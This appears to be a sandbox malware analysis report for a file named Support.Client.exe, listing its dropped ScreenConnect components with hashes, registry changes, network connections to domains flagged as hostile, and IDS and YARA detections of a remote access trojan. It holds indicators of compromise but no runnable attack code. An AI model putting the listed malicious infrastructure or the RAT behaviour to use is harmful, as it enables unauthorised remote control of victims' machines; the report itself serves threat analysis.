(PID) Process:	(7460) dfsvc.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
7460	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\2CYLVLNO.9AM\TPLRW58O.DZY.application		xml
		MD5:9AC4954D33E063FDEF5236004D57442E	SHA256:CE37639F366DA772331216865047D422F00A6B0BC46BE4FDB7F0E151DF0D0DA9
7460	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\XOHPPZYW.X6P\DJ08659A.WW1\ScreenConnect.ClientService.exe		executable
		MD5:D3E628C507DC331BAB3DE1178088C978	SHA256:EA1CFAD9596A150BEB04E81F84FA68F1AF8905847503773570C901167BE8BF39
7460	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\XOHPPZYW.X6P\DJ08659A.WW1\ScreenConnect.WindowsClient.exe.manifest		xml
		MD5:59009C4F246E6528BA70C6F65EE5DD0C	SHA256:E272B0496A6350E84FC34140476F9EF1BF51612ABCBF6014C3CA07E0ABE12EA1
7460	dfsvc.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141		binary
		MD5:43AB4BAA461283F189AEAC1D22A461A3	SHA256:E11CB396ACDB7C0873130978A26829A7DB6038BDD71E522645480A1B49704752
7460	dfsvc.exe	C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1693682860-607145093-2874071422-1001\932a2db58c237abd381d22df4c63a04a_bb926e54-e3ca-40fd-ae90-2764341e7792		binary
		MD5:D2DED43CE07BFCE4D1C101DFCAA178C8	SHA256:8EEE9284E733B9D4F2E5C43F71B81E27966F5CD8900183EB3BB77A1F1160D050
7460	dfsvc.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B		binary
		MD5:BBE3662B8B338817769386FFBFC49DA5	SHA256:D0095458FE8A94608B9E6587F5F7B50F603F1743C6DED3FE5E1D3CB66373CB32
7460	dfsvc.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141		binary
		MD5:4AF48D827AE4A29A469297AE452563BA	SHA256:32BF8449F8602691739377B1B0BF884D3CA48F94A341A307440FA6ACB5CFE50E
7460	dfsvc.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B		binary
		MD5:1D325A9B1ABC0D4186AD2BC02AEABB56	SHA256:64389C0817048AAF52F2F631133E38ACB5717F85FA41E272477C1DE1EFF48E3F
7460	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\XOHPPZYW.X6P\DJ08659A.WW1\ScreenConnect.WindowsBackstageShell.exe		executable
		MD5:E34E8690E53141EE6914238252FA9988	SHA256:BBE9AE87E2DBA00C5E2F78DC742608862D03F72246669C7FCB01C5646A6DF10B
7460	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\XOHPPZYW.X6P\DJ08659A.WW1\ScreenConnect.WindowsFileManager.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	2.16.241.19:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
7460	dfsvc.exe	GET	200	2.23.77.188:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D	unknown	—	—	whitelisted
7460	dfsvc.exe	GET	200	2.23.77.188:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEAuTYAUbzPZmQpmJmNW6l84%3D	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	2.23.77.188:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
7460	dfsvc.exe	GET	200	2.23.77.188:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEA6bGI750C3n79tQ4ghAGFo%3D	unknown	—	—	whitelisted
7084	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
7084	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
—	—	51.104.136.2:443	—	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	2.16.241.19:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
2104	svchost.exe	51.104.136.2:443	—	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
7460	dfsvc.exe	104.21.16.1:443	web.svhhelp.top	CLOUDFLARENET	—	unknown
2112	svchost.exe	51.104.136.2:443	—	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
7460	dfsvc.exe	2.23.77.188:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
3216	svchost.exe	172.211.123.250:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	FR	whitelisted
6544	svchost.exe	40.126.31.1:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
crl.microsoft.com	2.16.241.19 2.16.241.12	whitelisted
google.com	142.250.186.174	whitelisted
web.svhhelp.top	104.21.16.1 104.21.80.1 104.21.64.1 104.21.32.1 104.21.48.1 104.21.96.1 104.21.112.1	unknown
ocsp.digicert.com	2.23.77.188	whitelisted
client.wns.windows.com	172.211.123.250 172.211.123.248	whitelisted
login.live.com	40.126.31.1 40.126.31.0 40.126.31.73 40.126.31.3 20.190.159.73 40.126.31.129 20.190.159.130 40.126.31.71	whitelisted
borejon.wxhelp.top	217.156.123.34	malicious
settings-win.data.microsoft.com	40.127.240.158	whitelisted
slscr.update.microsoft.com	4.245.163.56	whitelisted
www.microsoft.com	184.30.21.171	whitelisted

Threats

PID	Process	Class	Message
—	—	Potentially Bad Traffic	ET DNS Query to a *.top domain - Likely Hostile
—	—	Potential Corporate Privacy Violation	REMOTE [ANY.RUN] ScreenConnect Server Response

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No debug info

General Info

Support.Client.exe

0187C136EA7BA28E8055AEEE6E8BD760

DA9E1F60B42A171F61BF4645301CAF619B5BC4CE

EAFFC9431791B3D08FA5F017D47436EFCF945CD04516BFBACFC3D258E646DFDA

1536:c4lrL5PZVm5c7cwFgnPfdwngb7XCdqQsWQcdnSfqINKnx:brL5RVm5c7cegn3dwgbD+lnSfq3x

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SCREENCONNECT has been detected (SURICATA)

SUSPICIOUS

Adds/modifies Windows certificates

Reads Internet Explorer settings

Executable content was dropped or overwritten

The process creates files with name similar to system file names

Reads security settings of Internet Explorer

Reads the date of Windows installation

Executes as Windows Service

SCREENCONNECT mutex has been found

Creates or modifies Windows services

Connects to unusual port

Potential Corporate Privacy Violation

Executes application which crashes

Detects ScreenConnect RAT (YARA)

There is functionality for taking screenshot (YARA)

Screenconnect has been detected

INFO

Checks supported languages

Reads the computer name

Reads the machine GUID from the registry

Disables trace logs

Reads Environment values

Checks proxy server information

Create files in a temporary directory

Process checks whether UAC notifications are on

Creates files or folders in the user directory

Reads the software policy settings

Process checks computer location settings

SCREENCONNECT has been detected

Reads CPU info

Manual execution by a user

Reads security settings of Internet Explorer

Malware configuration

Static information

TRiD

EXIF

EXE

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity